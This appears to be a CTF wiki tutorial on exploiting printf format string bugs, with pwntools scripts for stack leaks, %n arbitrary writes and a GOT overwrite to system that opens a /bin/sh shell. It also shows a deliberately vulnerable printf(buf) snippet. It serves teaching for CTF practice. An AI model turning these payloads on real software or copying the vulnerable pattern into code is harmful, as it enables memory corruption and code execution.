Athena Wiki

Format String Vulnerabilities

pwnintermediate

Exploit printf format string bugs for arbitrary read and write in CTF pwn challenges.

pwnformat-stringprintfarbitrary-readarbitrary-writegot-overwrite

Format String Vulnerabilities

A format string vulnerability happens when user input is passed directly as the format string argument to printf. This lets you read from and write to arbitrary memory — using the format specifiers that printf already understands.

This is one of the most powerful primitives in pwn: a single printf(buf) call can leak libc addresses, overwrite function pointers, or get you a shell.


The Vulnerability

char buf[100];
fgets(buf, sizeof(buf), stdin);

printf(buf);        // VULNERABLE — user controls the format string
printf("%s", buf);  // SAFE — format string is fixed, buf is just data

The difference: when you control the format string, you decide what specifiers printf processes. %x reads from the stack. %n writes to memory. printf doesn't know you're doing this — it just follows the format string.


How printf Reads the Stack

Here's the key insight: printf gets its arguments from the stack (on x86) or from registers then the stack (on x86-64). When you write printf("%x %x %x"), printf pops three values from the stack and prints them as hex — whether you intended those as arguments or not.

printf("%x %x %x")

Stack:
┌──────────────┐
│ 0x41414141   │  ← arg1 (your input buffer starts here)
│ 0x7f12345678 │  ← arg2 (some libc pointer)
│ 0x00000000   │  ← arg3
└──────────────┘

Output: 41414141 7f12345678 0

Your input buffer is on the stack. So %x will eventually read your own input — and everything else on the stack around it, including saved addresses, canary values, and libc pointers.


Finding Your Offset

Before doing anything, you need to know which %N$x corresponds to the start of your input buffer:

from pwn import *
p = process('./vuln')

p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = p.recvall().decode()
print(output)
# Look for 0x41414141 (AAAA) in the output
# If it appears at position 7 → your offset is 7

Once you know the offset, use %N$x or %N$s for direct access:

# Read the 7th argument (your input buffer)
p.sendline(b"%7$p")

# Read the string at the 7th argument
p.sendline(b"%7$s")

Primitive 1: Arbitrary Read

Leak stack values

# Dump 20 stack words
payload = b"%p." * 20
p.sendline(payload)

This leaks libc addresses, stack addresses, canary values — anything on the stack. In a CTF, run this first to see what's available.

Read a specific memory address

To read memory at an arbitrary address, place that address in your input, then read it with %s:

# Read the value stored at puts@GOT
target = p64(elf.got['puts'])
payload = target + b"%7$s"   # offset 7 = start of our input
p.sendline(payload)

%7$s dereferences the 7th argument as a pointer and prints the string there. Since the 7th argument is your input (which starts with the GOT address), it reads the value stored at puts@GOT — leaking the real libc address of puts.


Primitive 2: Arbitrary Write (%n)

%n is the most powerful format specifier. It writes the number of characters printed so far to an address on the stack.

How it works:

  1. printf has printed N characters so far (from %Nc, padding, etc.)
  2. %n takes the next argument as a pointer
  3. It writes the value N (number of chars printed) to that pointer

Writing a small value

# Write 0x41 (65) to a target address
target_addr = 0x602020

payload  = p64(target_addr)    # place target address on stack (at our offset)
payload += b"%57c"             # print 57 characters (8 bytes already printed + 57 = 65)
payload += b"%8$n"             # write 65 to the 8th argument (our target_addr)

The 8 bytes of target_addr are already "printed" as garbage, so printf's internal counter starts at 8. Then %57c adds 57 more. %n writes 65 (0x41) to the address.

pwntools fmtstr_payload

For anything beyond trivial writes, use pwntools:

from pwn import *
elf = ELF('./vuln')

# Map: {address_to_write: value_to_write}
writes = {elf.got['exit']: elf.sym['win']}

payload = fmtstr_payload(offset, writes)
# offset = your format string offset (from the AAAA.%p test)

fmtstr_payload handles all the complex arithmetic — splitting large values into multiple %hn writes, ordering them correctly, and avoiding null bytes.


Auto-Finding the Offset

Let pwntools figure out the offset for you:

from pwn import *

def exec_fmt(payload):
    p = process('./vuln')
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
print(f"Offset: {autofmt.offset}")

GOT Overwrite via Format String

The most common CTF pattern: use the format string to overwrite a GOT entry with system, then trigger it with "/bin/sh".

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln')

# Step 1: Leak libc address
p.sendline(b"%21$p")    # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")

# Step 2: Overwrite puts@GOT with system
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(offset, writes))

# Step 3: Trigger — next call to puts(input) becomes system(input)
p.sendline(b"/bin/sh")
p.interactive()

For more on GOT overwrites, see GOT Overwrite.


Protections and Bypasses

ProtectionImpactBypass
PIEBinary addresses randomizedLeak a binary address via %N$p first, then set elf.address
Full RELROGOT is read-onlyTarget __malloc_hook/__free_hook (glibc < 2.34) or _IO_2_1_stdout_
Stack CanaryCanary value on stackLeak it via %N$p before any overflow

Format string bugs are especially powerful because they can leak and write in the same vulnerability. Leak the canary, leak libc, then overwrite — all through printf.


Checklist

  • Is printf(buf) or fprintf(buf) called with user input as format string?
  • Find offset: send "AAAA.%p.%p...", look for 0x41414141
  • Leak libc/binary/canary addresses with %N$p
  • Use fmtstr_payload() for writes
  • Target GOT (Partial RELRO) or hooks (Full RELRO, glibc < 2.34)
  • On glibc 2.34+: target _IO_2_1_stdout_ or .fini_array

Last updated on

On this page